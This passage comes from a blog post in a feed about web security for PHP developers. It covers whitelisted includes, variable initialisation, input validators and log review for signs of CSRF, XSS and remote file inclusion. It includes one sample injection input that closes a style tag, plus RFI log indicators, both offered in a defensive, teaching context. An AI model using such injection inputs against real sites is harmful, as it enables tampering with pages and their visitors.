&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;} &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;else&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;{&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;This page does not exist on this system.&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This way, the parameters become not a file name but a word. So, &lt;code&gt;http://example.com/template.php?page=about&lt;/code&gt; would include &lt;code&gt;about-us.php&lt;/code&gt;, &lt;code&gt;http://example.com/template.php?page=home&lt;/code&gt; would include &lt;code&gt;index.php&lt;/code&gt;
 and so on. All other requests would trigger the error message. Note 
that the error message is in our control and not from the server; or 
else you might display information that could be used for an exploit.
Also, notice how defensive the script is. It checks if a &lt;code&gt;page&lt;/code&gt; parameter has been sent; then it checks if an entry for this value exists in the &lt;code&gt;sites&lt;/code&gt;
 array; then it checks if the file exist; and then, and only then, it 
includes it. Good code does that… which also means it can be a bit 
bigger than expected. That’s not exactly “Build your own PHP templating 
system in 20 lines of code!” But it’s much better for the Web as a 
whole.
Generally, defining all of the variables you will use before you use 
them is a good idea. This makes it safer even in PHP set-ups that have 
globals registered. The following cannot be cracked by calling the 
script with an &lt;code&gt;authenticated&lt;/code&gt; parameter:
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_263311&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$authenticated&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= false;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_POST&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;username&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] == &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;muppet&#39;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;&amp;amp;&amp;amp;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_POST&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;password&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;] == &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;password1&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;) {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$authenticated&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= true;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$authenticated&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;) {&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// do something only admins are allowed to do&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The demo we showed earlier makes it possible to work around this, because &lt;code&gt;$authenticated&lt;/code&gt; was not pre-set anywhere.
Writing your own validator function is another option. For example, 
the color demo could be made secure by allowing only single words and 
numbers for the colors.
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_325374&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$color&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;white&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;variable&quot;&gt;$background&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;black&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(isset(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;color&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]) &amp;amp;&amp;amp; isvalid(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;color&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;])){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$color&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;color&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;];&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(ishexcolor(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$color&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$color&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;#&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$color&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(isset(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;background&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;]) &amp;amp;&amp;amp; isvalid(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;background&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;])){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$background&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;background&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;];&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(ishexcolor(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$background&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$background&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;#&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$background&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;isvalid(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$col&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// only allow for values that contain a to z or 0 to 9&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;return&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;preg_match(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;/^[a-z0-9]+$/&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$col&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;function&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;ishexcolor(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$col&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// checks if the string is 3 or 6 characters&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;strlen&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$col&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)==3 || &lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;strlen&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$col&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;)==6){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;comments&quot;&gt;// checks if the string only contains a to f or 0 to 9&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;return&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;preg_match(&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;/^[a-f0-9]+$/&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;,&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$col&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;25&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;This allows for &lt;code&gt;http://example.com/test.php?color=red&amp;amp;background=pink&lt;/code&gt; or &lt;code&gt;http://example.com/test.php?color=369&amp;amp;background=69c&lt;/code&gt; or &lt;code&gt;http://example.com/test.php?color=fc6&amp;amp;background=449933&lt;/code&gt;, but not for &lt;code&gt;http://example.com/test.php?color=333&amp;amp;background=&amp;amp;lt/style&amp;gt;&lt;/code&gt;. This keeps it flexible for the end user but still safe to use.
If you are dealing with content that cannot be easily whitelisted, 
then you’ll need to filter out all the malicious code that someone could
 inject. This is quite the rat-race because new browser quirks are being
 found all the time that allow an attacker to execute code.
The most basic way to deal with this is to use the &lt;a href=&quot;http://us2.php.net/manual/en/book.filter.php&quot;&gt;native PHP filters on anything that comes in&lt;/a&gt;. But a quite sophisticated package called &lt;a href=&quot;http://htmlpurifier.org/&quot;&gt;HTML Purifier&lt;/a&gt; is also available.
&lt;h3&gt;Housekeeping&lt;/h3&gt;One very important part of security is keeping your server clean. If 
you have old, insecure code lying around, it won’t matter whether your 
main website is hardened and up to date with the best security measures.
 Your server is as vulnerable as its weakest and least-maintained code.
Check what you have on your server from time to time, and delete or 
move things that you are not interested in any more or couldn’t be 
bothered to maintain. Instead of deleting code, you could move it to a 
repository such as &lt;a href=&quot;http://code.google.com/&quot;&gt;Google Code&lt;/a&gt; or &lt;a href=&quot;http://github.com/&quot;&gt;GitHub&lt;/a&gt; and redirect the old folder to it.
It is also not a good idea to use the same server to test things and 
run a live product. Use one server as a test platform for playing around
 and another for grown-up stuff. It is especially important to have a 
different domain for each to protect your cookies.
&lt;h3&gt;Check Your Log Files&lt;/h3&gt;Every server comes with log files that you can access. Many hosting 
companies even give you detailed statistics that show you where visitors
 have gone and what they did.
Normally, we just use these to check the number of visitors, what 
browsers they used, where they came from, when they came and which 
websites were most successful. This is what makes us happy and allows us
 to track our progress.
That is not really the interesting part of the statistics package or log files, though:
&lt;ul&gt;&lt;li&gt;Check how many forms have been sent and who tried to send them. This is an indicator of CSRF and XSS attacks.&lt;/li&gt;
&lt;li&gt;Check the server traffic and which files were frequently called. If  the forms are old and not frequently used, you have a CSRF attack on  your hands.&lt;/li&gt;
&lt;li&gt;Search the logs for “txt?” endings, which are an indicator of RFI  attacks. Try them out on your website; if they work, alarm bells should  go off in your head. An exception to this is &lt;em&gt;robots.txt&lt;/em&gt;, which  is a file that search engines request before reading a folder; this is  not an issue and wouldn’t be followed by a question mark anyway.&lt;/li&gt;
&lt;li&gt;Check the error messages and how many of them were 404 errors (“Page  not found”). Check what file names people were looking for, which  folders they attempted to access and what files they tried to read.&lt;/li&gt;
&lt;li&gt;Check which users tried to authenticate. If a user you don’t know  was causing a lot of traffic, they already got control of your server.&lt;/li&gt;
&lt;/ul&gt;Your log file is your snitch that tells on the bad guys who come 
around trying to mess with your server. Be wise and stay a step ahead of
 them.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/7993151141804689368/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/web-security-are-you-part-of-problem.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/7993151141804689368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/7993151141804689368'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/01/web-security-are-you-part-of-problem.html' title='Web Security: Are You Part Of The Problem?'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 